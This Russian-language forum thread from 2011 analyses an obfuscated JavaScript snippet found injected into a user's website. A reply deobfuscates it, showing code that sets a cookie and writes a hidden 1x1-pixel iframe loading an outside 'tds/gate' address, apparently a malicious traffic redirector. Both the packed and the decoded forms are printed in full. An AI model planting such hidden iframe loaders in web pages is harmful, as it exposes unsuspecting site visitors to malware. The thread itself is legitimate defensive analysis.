Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 27.02.2011, 15:16
Интересующийся
Отправить личное сообщение для Tohin Посмотреть профиль Найти все сообщения от Tohin
 
Регистрация: 30.06.2009
Сообщений: 23

неизвестный Js. вирус?
На своем домашнем сайтике (для собственных нужд) обнаружил незнакомый мне участок js. Неплохо так запутанный. Гугл показал что подобные участки скриптов встречаются достаточно часто, но что этот код делает пока нигде не написано.
Сможет кто-нибудь разобрать этот бред?
var domain = "http://g-yandex.ru/tds/gate";
	eval(function(p,a,c,k,e,d){
	e=function(c){
		return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
		if(!''.replace(/^/,String)){
			while(c--){d[e(c)]=k[c]||e(c)
			}
		k=[function(e){return d[e]}];
		e=function(){
			return'\\w+'};
		c=1};
		while(c--){
			if(k[c]){
			p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
			}}
		return p}
('o C(r,G,D){m t=J N();m y="";t.U(t.Q()+D*P*H*H*O);y=t.R();l.n=r+"="+G+";S="+y}
o E(r){m i=0;m j=0;m h=0;m u=l.n;z(i<=u.v){j=i;h=j+r.v;s(u.F(j,h)==r){j=h+1;h=l.n.V(";",j);s(h<j)h=l.n.v;q l.n.F(j,h);T}i++}q""}
m u=l.n;s(E("B")=="I"){}W{C("B","I",1);L(o(p,a,c,k,e,d){e=o(c){q c.x(M)};
s(!\'\'.A(/^/,K)){z(c--){d[c.x(a)]=k[c]||c.x(a)}k=[o(e){q d[e]}];e=o(){q\'\\\\w+\'};c=1};
z(c--){s(k[c]){p=p.A(J X(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}q p}
(\'6.7(\\\'<0 5="\\\'+4+\\\'" 2="3" 8="f" 9="e" d="c" a = "1" b = "1"></0>\\\');
\',16,16,\'13|14|12|11|Y|Z|l|10|17|15|1c|1d|1e|1b|1a|18\'.19(\'|\'),0,{}))}',62,77,'
|||||||||||||||||nEndPosition||nStartPosition||document|var|cookie|function||return|szName|if|dtExpires
|szCookieString|length||toString|dtExpiryDate|while|replace|expsid|addCookie|dtDaysExpires|findCookie|substring
|szValue|60|a0192e992bb5e61d51be0ae009c76edd|new|String|eval|36|Date|1000|24|getTime|toGMTString|expires|break|
setTime|indexOf|else|RegExp|domain|src|write|facebook|name|iframe|1px|frameborder||scrolling|auto|split|no|align|
height|width|center'.split('|'),0,{}));


с 17 по 28 строку нужно удалить все переносы строк (внедрил их чтоб сообщение за пределы экрана не лезло

Чисто интуитивно предполагаю перехват данных при авторизации...
Ответить с цитированием
  #2 (permalink)  
Старый 27.02.2011, 15:27
Аватар для B@rmaley.e><e
⊞ Развернуть
Отправить личное сообщение для B@rmaley.e><e Посмотреть профиль Найти все сообщения от B@rmaley.e><e
 
Регистрация: 11.01.2010
Сообщений: 1,810

var domain = "http://g-yandex.ru/tds/gate";
function addCookie(szName, szValue, dtDaysExpires) {
    var dtExpires = new Date();
    var dtExpiryDate = "";
    dtExpires.setTime(dtExpires.getTime() + dtDaysExpires * 24 * 60 * 60 * 1000);
    dtExpiryDate = dtExpires.toGMTString();
    document.cookie = szName + "=" + szValue + ";expires=" + dtExpiryDate
}
function findCookie(szName) {
    var i = 0;
    var nStartPosition = 0;
    var nEndPosition = 0;
    var szCookieString = document.cookie;
    while (i <= szCookieString.length) {
        nStartPosition = i;
        nEndPosition = nStartPosition + szName.length;
        if (szCookieString.substring(nStartPosition, nEndPosition) == szName) {
            nStartPosition = nEndPosition + 1;
            nEndPosition = document.cookie.indexOf(";", nStartPosition);
            if (nEndPosition < nStartPosition) nEndPosition = document.cookie.length;
            return document.cookie.substring(nStartPosition, nEndPosition);
            break
        }
        i++
    }
    return ""
}
var szCookieString = document.cookie;
if (findCookie("expsid") == "a0192e992bb5e61d51be0ae009c76edd") {} else {
    addCookie("expsid", "a0192e992bb5e61d51be0ae009c76edd", 1);
    document.write('<iframe src="' + domain + '" name="facebook" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');
}
Ответить с цитированием
  #3 (permalink)  
Старый 27.02.2011, 18:24
Интересующийся
Отправить личное сообщение для Tohin Посмотреть профиль Найти все сообщения от Tohin
 
Регистрация: 30.06.2009
Сообщений: 23

Спасибо за оперативность.
"Не понимаю я этих варварских наречий"
Я правильно понял: скрипт кидает куку и открывает на моем сайте фрейм 1х1 px с сайтом g-yandex .ru/tds/gate ?
Но вроде там "404"...
странно что ссылка не зашифрована.
А в качестве просветительской работы не подскажете каким образом дешифруется первоначальный бред?
Ответить с цитированием
  #4 (permalink)  
Старый 27.02.2011, 20:13
Аватар для B@rmaley.e><e
⊞ Развернуть
Отправить личное сообщение для B@rmaley.e><e Посмотреть профиль Найти все сообщения от B@rmaley.e><e
 
Регистрация: 11.01.2010
Сообщений: 1,810

Бред расшифровывается заменой eval на alert. Или еще проще: http://jsbeautifier.org/

Скрипт открывает фрейм, если не открывал его ранее. То, что по адресу, который подгружался, 404-ая ошибка - не удивительно. Там вполне может быть скрипт, который определяет, прямое это обращение или нет (по реферу, например).
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Не получается передать переменную из JS в PHP Lion_astana AJAX и COMET 2 23.11.2010 17:23
JS - кроссдоменное обращение ajon Общие вопросы Javascript 4 08.10.2010 20:50
помогите задать переменную в js bsgroupua Общие вопросы Javascript 3 01.02.2010 18:28
Html метки + div + JS boltayka Events/DOM/Window 1 07.09.2009 17:21
Самая лучшая книга по JS? ulandj Оффтопик 2 06.04.2009 11:35